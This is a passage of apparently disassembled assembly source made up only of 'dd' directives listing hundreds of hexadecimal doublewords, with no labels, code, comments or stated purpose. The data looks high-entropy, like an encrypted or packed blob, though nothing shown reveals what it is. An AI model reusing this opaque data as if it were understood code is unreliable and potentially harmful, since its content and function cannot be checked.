6EF2EA89h dd 0B04AE94Ah, 0B9DB3EE9h, 0B9840DE2h, 0BDA42E0Dh, 0F7C40DDh dd 255A8B27h, 0CCAAC2EBh, 330F970Ah, 9529E17Bh, 0D6F60590h dd 0CA82CEFEh, 9587099Bh, 8F5FBD8Ch, 320C21ACh, 0CDEF9D00h dd 0BA46A239h, 0D2510E41h, 0EC45FCE9h, 0DA7290C4h, 0FA5FC280h dd 0BA415FF8h, 186DEE2Eh, 10D9F47Bh, 0BF5FA940h, 4327765Ah dd 8036F9E3h, 3022B284h, 64C558E2h, 81FFC0BDh, 3EBFE04Bh dd 5E4EBD28h, 0C2E72419h, 6EF7062Dh, 9BD0B762h, 35679F31h dd 0B86F2BD9h, 13ECA535h, 5750259Eh, 148B41C4h, 6D9B38AAh dd 0DF25B796h, 905ED94Ch, 0B6AF9EC5h, 0DDC01370h, 66C761ECh dd 81400431h, 2B79E969h, 6856CE00h, 7B412C8Eh, 84175A28h dd 55B2BE0Bh, 39C0AB1h, 0C092B080h, 0C0367E1h, 6449E30Eh dd 43F69709h, 0CD82DF35h, 995C5F06h, 0A2390563h, 491784Ch dd 1B6BC981h, 3A80EB0Eh, 4E2B3E68h, 0D84FD07Fh, 0D6904F9Ah dd 1AAB8B3h, 0C7705A94h, 0DC25835Bh, 0EB3F578h, 0D4D62DDAh dd 193C4381h, 16905150h, 2BBB0FE3h, 0F230933h, 0B12E02FCh dd 5BF9603Ch, 92B75436h, 0D602136Fh, 412BBD19h, 0D053008h dd 0E02E3A41h, 2C17C11Fh, 0F6B82F73h, 82C82939h, 0D9E60B41h dd 0B1E941D0h, 0F6BD7B96h, 515501D2h, 7ED546E0h, 170992E0h dd 56F8E9EAh, 0BA6447A9h, 0E9C1782Dh, 0EB29A371h, 0EC17FE5Ah dd 416B2FB4h, 0A4DA4184h, 9E8A2BC8h, 855C9467h, 1002BCDBh dd 1179792h, 8E9A8DFAh, 827B32A0h, 0CBAFE979h, 7AD8D097h dd 252C4CB7h, 0FCBD6305h, 0C8820006h, 294E6608h, 807878B5h dd 544FE908h, 690DE127h, 5006DE4h, 76D96855h, 5D668017h dd 41624704h, 278D03F4h, 3AD6FEEFh, 9E75E953h, 7AFAC925h dd 0ADFC2046h, 0E2E78102h, 5F43FA6Ah, 8F01F8E4h, 0E9FEDC0Dh dd 6381A51Ch, 0AD3F88BAh, 0A007EC4Fh, 9C84ABBEh, 0A9C17545h dd 179D777Bh, 6F0D43E7h, 50014F1Dh, 0F3A2F09Ah, 0D630FB29h dd 33E92FDDh, 0F2FDAE62h, 0CB8210DBh, 0C1D625FEh, 0F8893169h dd 6EF5C601h, 6FE92F40h, 22B80507h, 0EAC06420h, 3BC5B14Ah dd 0B78459CEh, 585CB8BAh, 1C442052h, 0FABF6866h, 7A162D58h dd 2F98B245h, 0D40E09B3h, 95822FE9h, 5C012699h, 4171D921h dd 42A88105h, 8496809h, 4608BD29h, 0BCE592DCh, 2DA85B29h dd 0EFCB52A4h, 0E98562B2h, 0CA59527h, 6A50C26Dh, 123BBE80h dd 13E0F6Fh, 0C33C0EB6h, 9488E022h, 16C7AFD2h, 9FDD4F2h dd 0D2CD355h, 0C2A50215h dd 95F7FCABh, 1E942725h, 4661E917h, 12D237A8h, 4F7BEE8h dd 7E798D5Ah, 0B2C1B81h, 8F606602h, 3FEB1295h, 0E293FAECh dd 42E9E066h, 4FBF94A3h, 742AB09h, 0E26C79FDh, 47664C0Bh dd 0E004BEAh, 0CB150576h, 0B052BC75h, 71B60608h, 0A05E2714h dd 244C0E0Bh, 2800440h, 74C55D09h, 5EB9A2B4h, 68050AC8h dd 0B9444FD8h, 5200D457h, 0B45087B2h, 0E4800B0Fh, 0C03CC67Ah dd 0CABD0560h, 0BAB884D2h, 0CCECF013h, 10D0E997h, 445E7D32h dd 0EA7EDC16h, 1828D9CDh, 59EE95Ah, 8DCA0AB6h, 491031ECh dd 13553BE0h, 64ECACEDh, 0FEE264A3h, 1A88FB7Dh, 5350FF1Fh dd 61AF2F5Bh, 0C9D18B38h, 650120F0h, 380C027Ch, 2B4756E9h dd 7BD501C3h, 0DF0161E6h, 579AAD5Bh, 0E348838Bh, 2FC03982h dd 8F26A9EEh, 8189B7F2h, 8EE91622h, 48763AF8h, 409BAD2Eh dd 0DD6B6862h, 51121751h, 0DE19F305h, 0C6C4A3F8h, 0D5D412A8h dd 0EE98CC4h, 0EC2CA0Eh, 0DA697F4Fh, 6AA26BD0h, 43EE3055h dd 0C5664A1Ah, 99AD8286h, 57F6E78Ch, 0D5B7816h, 1D6024FEh dd 87B8D7E0h, 0AB48C34Eh, 5BA86C4Ah, 8C03D412h, 204090E3h dd 0D38B16E9h, 8F85FDFEh, 2C248BD7h, 33B6ECCh, 0C17A6F7Bh dd 0EEF308EDh, 5FF3AFACh, 305D1A15h, 0FA51E90Bh, 831E2644h dd 0BF22C485h, 0D9167B67h, 414610C2h, 0BA05E5AFh, 0E9827FA6h dd 9CA96267h, 0A2080F7h, 1831132Ah, 0D06EA81h, 854BA8E9h dd 0B52A56CDh, 4FF62C63h, 32F90FCh, 65424A87h, 68CC9073h dd 53997188h, 2D3BFEA5h, 84D29B5Eh, 0AC0BDE12h, 33B883DFh dd 0D0C712B7h, 0DBBF050Dh, 0A801BF1Bh, 1D5081DFh, 3B88F17Ah dd 704705FEh, 68029007h, 59C915FDh, 57AF426Dh, 0FFE96259h dd 0A6ECAC3Ah, 45AFE42Dh, 6ECF0CCFh, 7F4A06E9h, 416D3DAAh dd 6662D0C8h, 0E6E54F2Bh, 9AC59AF4h, 656EEC32h, 0E75F261Bh dd 39BB5F9Dh, 966A3D94h, 38A021EEh, 409D2A20h, 0EDA4FE05h dd 2DE9EC29h, 215DF506h, 49A3447Ch, 92613530h, 82B81CDCh dd 89B28A5Ch, 12F590B3h, 4F919DA9h, 61DD3713h, 0F3C4E68Ah dd 0B0DE92D8h, 0B600F609h, 2999CBC5h, 27685EF2h, 0A6F13257h dd 56E84789h, 7D41613Ah, 5B873D4Bh, 3687B4BDh, 8162F026h dd 5B2EE8E1h, 0E90BA3BFh, 64B0D13Dh, 0B56825Bh, 0B94B5903h dd 0C5DFA645h, 4E9CDEAh, 75A0EBD5h, 5D7E2DE9h, 0A969B1DAh dd 94537598h, 708CE942h, 2ADA95C9h, 0B1B2D795h, 0E927405Ah dd 0B9FAC060h, 2D641772h, 2841AA19h, 0ED13DDF1h, 0FDCDB342h dd 1DEA8771h, 6E4ED682h, 4462D510h, 0CA2D938Eh, 0BD446BE5h dd 71F45860h, 416901B6h, 0DA8F0F74h, 0E205241Ah, 54048A02h dd 0A058E979h, 0F5B966F7h, 7757E8ADh, 0C3BE1656h, 0CEFC0210h dd 26C00D60h, 0C782FBF9h, 25DAF07h, 0A5B64E9Eh, 0ACB040A3h dd 86729F5Eh, 3AFEC624h, 97F99270h, 1C320EE7h, 796655B0h dd 0C919F530h, 3B0578EBh, 0F30211F0h, 4DC14FBh, 0D3E66DD0h dd 0F583E935h, 0F46DB2AAh, 0BEC0C4ABh, 68BC81B8h, 5B666438h dd 6CC728FFh, 0B8734E97h, 1CF79722h, 0E0E912D3h, 0F5A1D07Bh dd 3F2E6A1Bh, 0A0106835h, 59F75A38h, 0D11C539Ch, 0E293EAh dd 0B00883D9h, 0D4F1C14Bh, 0E9255653h, 0CB440815h, 0F17E650Bh dd 67DC27C1h, 0C8F2D9CBh, 4D9E02D2h, 0F88712A2h, 51B763BBh dd 54480C04h, 90833A91h, 7984B169h, 0FA63FF65h, 0DD0A4D12h dd 2D807FCBh, 703ED525h, 31357957h, 12FC5320h, 83023EAFh dd 572831F1h, 23C19B60h, 0D94CBB9Fh, 5D813C0Bh, 5C2F72F7h dd 5BD66CDEh, 0AC4B6EF8h, 2A9E130Ah, 205089ABh, 8B97F853h dd 123C75EAh, 6B969E81h, 4B5A0A8h, 1D94D558h, 52A7344Bh dd 0AD84128Ch, 104BA296h, 52279C2Ch, 0CB034555h, 54780602h dd 0E98D3057h, 895A4B13h, 78FCE19Ah, 9E2C1FFBh, 0F3C3A2CFh dd 0CB48E2EBh, 9C7BD056h, 0D1EE00AEh, 21389313h, 25EFF05Eh dd 0CBDA0DCh, 816DEF00h, 0AC0335F2h, 0EB28904Eh, 8864E621h dd 0F089775Fh, 744967E6h, 0D1C7E55Dh, 818141EFh, 650D669Ch dd 0BF28CB89h, 1EB900A4h, 0F17377Ah, 0DFF58B5Ah, 0F145ED7Eh dd 0E4634BDBh, 2122680Ah, 1736F94h, 164E12ECh, 0D39F217Bh dd 0B1C70D5Fh, 0BBE9C130h, 0B8D7ABD8h, 271A26F0h, 0D7512168h dd 7DBF903Bh, 6D63E90Bh, 5FADFA7Ch, 6B38550Dh, 815A2BFCh dd 2F32C8FEh, 0F9C364CCh, 2F81EBCCh, 0A8C0BB04h, 0BF96BD94h dd 805A7024h, 3C127A5Bh, 0C399A278h, 38FE9484h, 0D09F8997h dd 0FCB759h, 95A0CD58h, 62A539DBh, 2AEE0046h, 907C0767h dd 46200112h, 0B3E91D0Eh, 40383443h, 42850F0Bh, 0E46928C0h dd 5B4E3117h, 91F1E5F0h, 8CFEF257h, 547F5647h, 0FF1CAF3Fh dd 0ABB0F597h, 40B750BFh, 95D3E95Eh, 6755D209h, 0AE5F92FFh dd 0DDFBA916h, 7CDDF99Dh, 5C1660E7h, 0F66DB222h, 0B11D495Ah dd 80780B78h, 0CC09BEE2h, 8E5B1A24h, 21FB4FB1h, 24A55597h dd 4D0AF208h, 91524438h, 50A86B00h, 0AD631D8h, 4CFA685Ah dd 277AA66Bh, 0A3301175h, 1055F64h, 70A2087Ch, 442DE829h dd 73B2AE07h, 95D4BF7Bh, 0F4D8290Ch, 16D2990Ah, 0AAF184C5h dd 0AFF13BF8h, 9BB4518Ch, 0B4A20756h, 0EEABD5B2h, 0D4828DEEh dd 3EC4E660h, 940405F0h, 707DE91Ah, 0AFC25FD1h, 46DC0804h dd 4BC09DC5h, 5AFE3101h, 0BB9D835Fh, 3541F1DAh, 0BA80611h dd 42F4611Fh, 0B8B31085h, 2E1048F9h, 8A60ECA6h, 0DF4158C6h dd 4BC710E4h, 0E05A82FBh, 0F7976C70h, 3A425A12h, 28FB5Eh dd 2E28C22Eh, 14D23039h, 4FCFFF1Fh, 0B909FF9Eh, 0A6907FCAh dd 80C5EE83h, 0B8BD5B82h, 0E6E27627h, 518AD45Dh, 5EB97752h dd 45D7BDE6h, 0D8061DFDh, 0E360D104h, 36108C54h, 5CC1784Dh dd 93054905h, 44AB3957h, 172204F5h, 20255BE8h, 0E912EB1Eh dd 0BD1E208h, 0BF057DBBh, 0E745CA44h, 0A752A55Fh, 8CBA584Fh dd 5F48F976h, 0EF8586AAh, 2FF47777h, 365A426Eh, 0DDC1814Bh dd 6FF5EE29h, 32A0FA4h, 61CA1018h, 4E0C0C04h, 0AFC316D2h dd 507E98D6h, 0C3DD5EF7h, 0B0A76886h, 89E94552h, 549FBB92h dd 0CAA5CFA7h, 868BEEA9h, 0F65CA45Bh, 3AFE7C00h, 326883BBh dd 0D00D9F5Bh, 0D29EC80h, 0AAE94213h, 60AA5657h, 330668DDh dd 20A91695h, 12B0B620h, 423FD10Bh, 0B355F02Ah, 0AA1493F9h dd 15482C9Fh, 0B54E9531h, 2B3EDDC5h, 5ABF8E0Fh, 4EA05F03h dd 92159CC2h, 0DEE93716h, 6D3AC8ADh, 167FFEA7h, 0BF3AFEEFh dd 5AED9E8Bh, 0E0E95884h, 0FCB44BBh, 1092A34Dh, 5E277609h dd 9AAF1440h, 0B092DC9Dh, 442A1804h, 0E2A553BDh, 595D50D1h dd 433B8090h, 73684B5Dh, 4737D49Fh, 6FC79F56h, 0BF401B75h dd 0EF3B6E25h, 42CE0230h, 0FA442209h, 3F970BE9h, 48049B89h dd 0E309EBF1h, 13C5565Eh, 0BBA1C481h, 0AFA17FF8h, 1E313F19h dd 362C3E4h, 0DF4F1A04h, 7826EC2Ah, 7D29A40Bh, 0C15A4042h dd 0E90213E7h, 0EE765236h, 808579E6h, 0A3DA260h, 883A9768h dd 1CF28788h, 0D9A644Bh, 0D28F8D44h, 18E9D675h, 6E8556EAh dd 14E5E44Bh, 0DC10D542h, 0C1C603D7h, 0BD9056BAh, 70502550h dd 19020AC9h, 800F3A4Ah, 5D35EACAh, 0E44F36D1h, 0A9EEFEC1h dd 15FBD6B5h, 60102FDFh, 70B77BBBh, 0F8024B94h, 14B6D92Ch dd 0A1DDD18Bh, 44E4852h, 741161E2h, 0D8C71CAFh, 14C2F818h dd 673097B6h, 0FB9F07DFh, 56E26D6h, 0E06A0AEEh, 6527845Ah dd 39A749A2h, 4EB8183Eh dd 7ABE9DDFh, 0A9ECE58Bh, 68CEFF3Ch, 114E51FEh, 0CADFAF89h dd 4B57E96h, 0FFFB0159h, 604E01CAh, 0FEEBD9D9h, 0A945D9Fh dd 161A0BB7h, 0F5C093Eh, 6884C8BFh, 0C46CEC6Bh, 12129C77h dd 0C75EEA46h, 0CDB92CCCh, 1BB600BAh, 4C6826E6h, 0D92519E4h dd 0D85EE25Dh, 1CDF97ABh, 0E8D02548h, 0C81D405Fh, 583CBE12h dd 0F38FD2Dh, 1CA1DE28h, 41FE0705h, 0CFF0E98Eh, 712EFEh dd 76EEF757h, 0F1E94EE2h, 0F6903AB9h, 8177409h, 372855A8h dd 0E25D25Ch, 4BC88850h, 86FE84C3h, 0D1A2DCBEh, 0E09DEE75h dd 82659873h, 98D8F2DFh, 0D42B4E4Eh, 6943B989h, 0D35A720Ch dd 294D4436h, 0E9CBAAD9h, 2212E916h, 0A0A45C51h, 828BF258h dd 5FA06EE9h, 7A182F39h, 0D47F00A9h, 0D62FD246h, 601AF76Bh dd 550E1F1Ah, 0D04A6F61h, 6DB07C18h, 65E2C505h, 0E5C2533Dh dd 3276C05Dh, 75491F61h, 1122F401h, 0EE974A08h, 642E12CFh dd 174B24CAh, 6E09A1E8h, 0E9C2B2F3h, 0FB55EC97h, 1E56AD80h dd 2580CE4Ch, 0EDD5FEDFh, 297FBB80h, 89983938h, 4F845F54h dd 772F1C9Bh, 0C330AC30h, 6F171D99h, 0A6A85A57h, 4C396510h dd 0A532446h, 0F5885B83h, 59E8995Ah, 0A48F3CA8h, 91D7974Ah dd 0FA7CC880h, 5A87D14Ch, 0F1FAB250h, 0EA5B8E5Ah, 5E7CBCBDh dd 0AFE48523h, 207C059Ch, 0F9B7FE9Fh, 0B3086CE9h, 200A3E7Dh dd 0B3FB47E9h, 454FD3A6h, 0A4F74550h, 1D38A85Fh, 7C075A78h dd 77E253BFh, 0E469788Fh, 13CD98D7h, 96E7808h, 5AFA186Bh dd 63C9E105h, 0CA09434Eh, 0A6A2DD49h, 5F042AEAh, 934848ACh dd 171E4205h, 3096AE7Dh, 58569008h, 0DE8169D0h, 70329860h dd 25289059h, 8A20D5C8h, 4B28901Ah, 1BF64FBh, 0D105C79Ah dd 56DAFC17h, 2350DAA2h, 4321F19Fh, 1A5BAA3Fh, 0E9150A9Eh dd 0A34AD583h, 0A82024A9h, 5E9EBB43h, 0A056AD1Eh, 59C1E94Eh dd 0AA9235BEh, 2D1ABE5h, 6F15CC2Eh, 4C7EE24Dh, 0AEAC4A6Ch dd 0E8C74A12h, 9F40DF0Bh, 89B922C3h, 41769DEAh, 0F7B94252h dd 6B372039h, 0D198475Ah, 72BB60A8h, 0CFFC2E92h, 0C3047AE4h dd 25880F26h, 0BF4EC5FCh, 4E48DB9Fh, 0C6C149Fh, 17B8AD96h dd 68E7D558h, 0AFB6Ah, 59032214h, 29C0A7E9h, 0E6806BB6h dd 0F006C92Bh, 0B3C0DBDEh, 98DE3046h, 4D0407D1h, 422CF028h dd 66454E9h, 30EE074Eh, 0A06D0E8h, 0DE90C06h, 16D7FF6Ch dd 0F1E0268h, 91A4FE83h, 58A1D883h, 3CF81152h, 765A6BC3h dd 6E25F16Eh, 63E1AD40h, 857BA3Bh, 0EF76870Fh, 722AE90Fh dd 2C1C8AF3h, 5954C952h, 58CA79F5h, 569D3D7Dh, 764C532Bh dd 5868E0F6h, 4D19BD02h, 3B372B32h, 0DC6B6480h, 0B7ABB54Ch dd 9AD93502h, 0AE597F09h, 0F71EEAA5h, 0DA2AB0E4h, 52052658h dd 0D2F657B2h, 0E939E7C0h, 82B6ABADh, 0E3ABC1E1h, 28524B60h dd 65EDF3B6h, 94662D0h, 0C38A5AE1h, 56B912F5h, 108CE9D0h dd 0E98213AFh, 4555FBC5h, 9C5A5F5h, 29015593h, 1BF337F4h dd 0A147FDF1h, 0BB3177E9h, 685D0012h, 0AC464BD3h, 3180B4B6h dd 5EF83950h, 1710BB79h, 40680A08h, 61BF1B5Bh, 9F69DB7Eh dd 0F1EC85F2h, 0C28B070Ah, 1226748Eh, 0A518F2EFh, 9DACBAFh dd 55FEE6BCh, 0E90914EFh, 4E66D862h, 0E026B25Bh, 0B5528568h dd 43C2BC59h, 0FC9AFD0Bh, 7BA75C57h, 0A8A96DDAh, 10806D83h dd 0EDC11E13h, 43ECB71Ch, 6931204Bh, 80E672D5h, 0A092DCE9h dd 0DE2DED9Eh, 42B3EA15h, 325FBA77h, 23E68060h, 0B56ED278h dd 820D05Eh, 0CB685909h, 2068462Fh, 0D8FDAF71h, 0FE5EA556h dd 3B042B56h, 540D984Ch, 0FFB831EFh, 0DABA1203h, 496E9006h dd 0B15A0944h, 0F409300Dh, 65C38080h, 0BAD50682h, 49CD7681h dd 1FF8BE04h, 4FEBF85Eh, 1512FFE6h, 4D9CFE56h, 57F912F7h dd 0E9F68C54h, 0E860859h, 676AED80h, 7E0E16EFh, 594BC71Dh dd 8902F728h, 53DF034Eh, 9C933DA8h, 594642AEh, 30C6FE9Bh dd 3D61F100h, 8C0F7D15h, 0EDBD4A13h, 0B9BE82EDh, 0D4753AFEh dd 24764942h, 0A6BAE82Fh, 6890256Fh, 0FD72E0D5h, 0A83726D4h dd 8955275Dh, 2602F785h, 89551F22h, 80416662h, 5D3AFFh dd 0CE8178E8h, 0F3603DDh, 7A6DE917h, 0AFE10E89h, 0F103196Dh dd 0AC0329F6h, 0B568D7DAh, 780BA868h, 775F3DC4h, 0FC879B69h dd 0FE4F89C2h, 481B5800h, 782902B7h, 8EA50F2h, 0BABF29E9h dd 0FE5B9693h, 4DFC9E70h, 0A982B0E4h, 132BE1BBh, 0A17BB988h dd 9E750AE9h, 0BE2BAAD4h, 0B65EF5Bh, 4D3A54ECh, 68E1F783h dd 37663DC2h, 0D05B08B8h, 0C49D08F8h, 0E836410Eh, 0FC731228h dd 16098DDCh, 0C5D1C6Fh, 0C51F9ACCh, 2D337E97h, 3CBF3760h dd 0DDC48E28h, 0A6637202h, 88E9010Dh, 9A2F08EDh, 664F5EAh dd 1F5DEB00h, 20E98E6Fh, 7564AAFFh, 7F3105A0h, 798334Bh dd 1F09DF95h, 0C52B717Fh, 22AE9B8h, 263479CEh, 0D91B407Fh dd 1239775Fh, 0F363E8E9h, 0D52825CEh, 574C1CE4h, 86F8355Eh dd 45066B04h, 0E016D31Eh, 0F500BB7Dh, 8131BC12h, 170D0F3h dd 0DF0174E1h, 4BFB6CE9h, 0D2F668E6h, 68868127h, 5FC26747h dd 0B0543BDCh, 71170C77h, 136E188Dh, 89BF0DD2h, 38AB3A0Dh dd 423FBA50h, 0EC0AA83Dh, 0D917FC25h, 81ED45A9h, 5AA2CBh dd 97411EE9h, 884133D6h, 94869C4h, 7A252085h, 0CD5BE919h dd 0E77B570Ah, 0CB65C43Ah, 1ED8BE12h, 0FD09B756h, 4F205957h dd 1E2151E6h, 228FB802h, 82486CB1h, 231539CAh, 9F4AD7A8h dd 51037ECh, 50660267h, 0D66E9568h, 7F0C63B1h, 0B675FBFFh dd 50E912CAh, 11ACFDE7h, 0EE00ED28h, 59523A54h, 2731830Fh dd 0FA6983B8h, 805CC82Bh, 5EF5CE12h, 588102F9h, 3A068468h dd 53567860h, 9CBD3855h, 6419921Fh, 11772585h, 826EDDC8h dd 45DD2906h, 9244A463h, 98C2E902h, 0B60B9BEBh, 389E8388h dd 0FDD9562Dh, 4641244Fh, 96154749h, 29168FEDh, 10B3BC54h dd 2C17095Ch, 0DDC00E33h, 39D9F00Ah, 0ED816BC1h, 247ED1C3h dd 0D42780ADh, 41764A72h, 8E62CCFEh, 0D747BE2Ch, 365E1C78h dd 0DBF6CD07h, 0FCBA3072h, 20078F64h, 685140C0h, 462F1FA0h dd 0E39FD048h, 0DDD68901h, 0A9122AB4h, 0B1C7A2EAh, 0A63BD892h dd 833350A6h, 1E612E04h, 77D648E9h, 0A8DE2D68h, 0A1200A14h dd 0F00539B4h, 131A3E13h, 0F1EFED63h, 737847E9h, 32D5816h dd 297AC203h, 41074441h, 81AA8030h, 0A9BF6CFh, 0EDEC3220h dd 95D8B2EBh, 99F981FFh, 139EFEC2h, 0D28B5F8Dh, 5AB98832h dd 0A1B05026h, 290D3109h, 188545Fh, 0E7142C71h, 67B63E29h dd 0A047552Ch, 25E92D6Bh, 92549642h, 0DA559251h, 9252B3AFh dd 48C728CCh, 172FCC58h, 74C9B174h, 65800091h, 0DFB85EC0h dd 77DA4B04h, 75E8F031h, 0D1A53504h, 4AB9B8E5h, 5F60EBA5h dd 634382E1h, 0A532D3FBh, 0FABA66E7h, 14180FEBh, 0CDAE0159h dd 23971C99h, 0F62778CCh, 0C1A97CA5h, 20F52D9Eh, 0D3595F4Ah dd 44F929Fh, 0F71D30E7h, 42C6D2D1h, 768C6825h, 9562F4FCh dd 96FE09C0h, 2F026C88h, 0D74689FFh, 0A95C4A8Bh, 446B9AA1h dd 55F2AA75h, 0EEA9E7E7h, 0FE52961Ch, 0B3BA6A20h, 3C0D3E9Bh dd 77481AADh, 5D1394E1h, 0BA619Ah, 7A0B36BEh, 8BB5CDE9h dd 0B7485FD5h, 389D76BFh, 4A396838h, 162CAA7Fh, 6B7BB7FAh dd 690DB8ABh, 647E9CB1h, 74B2AB55h, 97C3D12h, 3D080106h dd 2F862807h, 48F6DA5Ah, 0CEFB575Ah, 0E2B6E982h, 9310DFFEh dd 0C7C1CCA9h, 0D33454EAh dd 0F2E8EE8Dh, 7FA82226h, 2768E640h, 8F15956h, 524EDC83h dd 0B5FBDC11h, 209D00A3h, 735EF90Ah, 9A0860B1h, 473A4125h dd 0C24DC277h, 55B1A6E4h, 0C728DF2Dh, 0B8FB12D8h, 0E9CCE563h dd 20CC915Ah, 0C9659480h, 0E6FC2989h, 33F95772h, 0D210FD6Bh dd 81A29580h, 0BEC916D5h, 0AE62097Ah, 0C082A6DEh, 0FD5F855Dh dd 7E25D147h, 6E9A83BFh, 1102125Dh, 8265EEC3h, 9761FD67h dd 0FA46C41h, 52577033h, 40109E1Eh, 0AA2FEC51h, 72A80A13h dd 1620B27Eh, 62044C68h, 8B75B0D6h, 69C557D7h, 0EDC6B0AFh dd 0C86814D5h, 63099C51h, 79A4B5FAh, 0AFC0EE5Eh, 2FE9F201h dd 1893139Ch, 8020A2C1h, 1CC8C365h, 0CA012E2Dh, 208EBD6h dd 0E2B685Ah, 628D515Dh, 1039167h, 97F858D0h, 0F73F0B72h dd 0AC5B42D2h, 948B1900h, 0B1EA2975h, 295C7022h, 686930B5h dd 0B2165E61h, 0E545860Bh, 0B362BF87h, 4BB3F055h, 0C489A25Dh dd 76FCBCE9h, 0FF2D5D12h, 0A5B54F87h, 2026E9ECh, 0CA5485E2h dd 597DFFEh, 7B90685Ch, 13B76DCCh, 0B04AE935h, 5C90667Ch dd 7059A42Dh, 2205185Eh, 434A0813h, 0E87D29FEh, 0E90E2D62h dd 1C08FD06h, 0B6772D99h, 4AB59284h, 5F68ECCBh, 48B64D38h dd 3C26DBC8h, 1D0A0FCh, 94C5377h, 0AD73F281h, 6882030Dh dd 5D09FF78h, 55AFA2FBh, 0E917C51Ch, 10F3B6C2h, 0EC1A3349h dd 747DC6ACh, 0D4C6EF34h, 5A4A1C97h, 0DECD28FEh, 0F725ADBEh dd 2A308044h, 0E3B13294h, 0B563F080h, 3955E3F8h, 96FF7CCFh dd 91EA5F57h, 0E21FCF4Dh, 0BAE8CE18h, 315CBD0Dh, 2968550Eh dd 0B6BC1851h, 0F52803ACh, 0CAED805Ah, 0C5ABFDB3h, 9AB353A8h dd 71C33B8h, 0C3160904h, 0D011CD80h, 0C6FE2EE6h, 0C1BF1346h dd 0C3058C62h, 35759984h, 10A34B0Ah, 30166075h, 1F81E8E6h dd 82125102h, 0DFDAF52h, 0A417E9B0h, 0B93D196h, 5D28C7E9h dd 0E5F280F8h, 48C2B765h, 425FB00h, 15B02CD6h, 3409E0Ch dd 0BC0C0Bh, 2DAFBEBAh, 1DF217B3h, 0E925EA90h, 75D0E22Fh dd 0DD74CECAh, 6FE28809h, 0C15C9325h, 0BB525685h, 58602EC2h dd 0F7094C25h, 0CF69D6F1h, 0FBD2EA4Bh, 7E3BF2E7h, 0FEFD12C7h dd 74F2EFFBh, 6D282D93h, 236885F1h, 31E846EEh, 60976AFAh dd 7219493Fh, 0F0050091h, 0F67C670h, 754A4E8Eh, 0B4B27CFBh dd 768CE042h, 4D005C75h, 8968C488h, 0FC2BE332h, 30BE6EFCh dd 7F865961h, 0A2A12A80h, 0BA7DC53Ah, 0EA93AFF2h, 55E90128h dd 16E8AD0h, 3BC75067h, 0FAB46ED9h, 0C83C5E80h, 0B27CF7Eh dd 41BF657h, 0AAAB528Ch, 0ED01D3B8h, 0CB1A9638h, 7B142121h dd 0A2B44B67h, 0C1AB42D5h, 0AF25BFACh, 0F6BD657h, 0BD2E2EAh dd 34FD544Eh, 0FE8F8127h, 0C7FCFD6Fh, 0CC8C399h, 0F741F8D3h dd 5D75CF0Bh, 0CFC5DF0Ch, 0DB8ACABEh, 0C3D7BC4Fh, 0C87E47BDh dd 609FE962h, 68BA60EEh, 0A264C25h, 0C10A2689h, 0AE13A1E6h dd 89EA4053h, 0E030EC15h, 6FEBAFC1h, 5E30C25Dh, 8C714E03h dd 3940AC97h, 5EDCE341h, 0FDE2EFF6h, 90AD7AEDh, 9D206857h dd 5545FDDCh, 2327D201h, 0FC7F37D1h, 0F98A09BAh, 7CFDF54h dd 0C6BE1D3Dh, 0C5890680h, 0B7B36858h, 0E9135446h, 95C65FBh dd 0C7DB9119h, 5F5248ECh, 6F10AE3Eh, 465B2508h, 46683833h dd 8FC9B2D8h, 90DC9D02h, 14A2BE07h, 82DD629Eh, 0DFDF8960h dd 6CF78A1Ah, 0FA0DEC07h, 139548D7h, 1834B001h, 21FD013Fh dd 82080543h, 637AEA44h, 0CDE6087Eh, 5B8A331Dh, 3C7401BDh dd 86E927E7h, 6E203B35h, 63680151h, 5932CA4Ch, 92ECBD81h dd 340962B0h, 699DAF08h, 0D560AB97h, 0BE9AF83Bh, 4D8287F1h dd 0D03AD838h, 0A5331239h, 0C5080146h, 2F1642BFh, 80F7A4B4h dd 62347352h, 1D0F0C30h, 556DBF5Eh, 5AFD153Ah, 9D4E2D43h dd 53675F76h, 0DE2E70A2h, 880C5162h, 25BB4E1Fh, 553F2B7Dh dd 5E0A206Eh, 0F4F6D5E9h, 0A7F1DE49h, 13364477h, 0B84E02E9h dd 4652CFE0h, 4A7D1B95h, 1DC1AAC5h, 0C930FD29h, 0D721BD01h dd 0E32F2C59h, 33590EDAh, 0B7CBA0Fh, 0CB4C0061h, 0B745F848h dd 8835252h, 0F2141C45h, 0D6B6F0D5h, 0C5C6AE18h, 26607C0Ch dd 10376471h, 905324DFh, 584B5500h, 96A2D40h, 892E0B48h dd 5B96C1DCh, 9D68AD60h, 0BDF9BF64h, 0CC2DDCC8h, 0DAE22598h dd 9DC6FA0Eh, 0C2F072D0h, 4E8D0F17h, 0BD2ED1B1h, 95B381B2h dd 0DC35C789h, 0DE74FE2Bh, 0EC2ED0D9h, 21ADADFh, 775E4A87h dd 82085FEh, 2BF2C489h, 0DF78EDE1h, 16C7E6B4h, 0B2ED5B1Bh dd 5B364D7h, 42EE013Ch, 71E95591h, 5B00F456h, 0EC30DAB4h dd 0BAB5F659h, 6568151Dh, 0A7809F28h, 0E9638D72h, 89096E5Bh dd 78095D04h, 0FA9705F8h, 6FA937C4h, 0C4F70510h, 529192C2h dd 2F9A340h, 0BA785A0Fh, 0DB3F6538h, 0ED077794h, 0B82165Eh dd 22CE3E9h, 3E63BB34h, 0E5D17E5Dh, 0EDBA8Bh, 0D3090B74h dd 0E94B0C5Ah, 5C85C540h, 40802457h, 0DE2F7FE9h, 4BC953FEh dd 8A73B6FDh, 95567DE6h, 713B68C1h, 0CA88312Ah, 0D9E62B0Dh dd 241BBF25h, 7B2EB7C1h, 5B3E85CCh, 0A62CFF4Dh, 527C0168h dd 0F75E0A55h, 4EC7BD6h, 25F4E639h, 14D4278Eh, 22FE7A0Bh dd 56DCA59Eh, 0BDB44FC9h, 81A3504Bh, 5EAFF711h, 4B74DA8Ch dd 0C3BDE860h, 0E9A8028Bh, 8A20CA21h, 7A0F82B1h, 9B582A29h dd 0DA295A13h, 0D4E3F367h, 0B6FEF48Dh, 0B56248F0h, 0AD8450E2h dd 16F81210h, 585A8320h, 990628ACh, 0FC486B31h, 0C22EEC01h dd 0BD41E930h, 0C5CCEADh, 0A3DDA97Bh, 0F8D3EB64h, 0EFAB76C1h dd 96D3AD2Ah, 0AF44D1BBh, 49E23B36h, 4413D4C4h, 0E012B685h dd 245A9874h, 0EA4413E6h, 78CC6B2Dh, 409FACD8h, 4EFBF5CCh dd 0D070AE01h, 0CAA673E9h, 849F355Fh, 0B26FDC68h, 152478F0h dd 7CC02336h, 1B4AB520h, 3F16C5E9h, 0F1BE25A4h, 33EC7F6Fh dd 0B6C3E8BDh, 4DDA261Ah, 27162A4h, 0F839E908h, 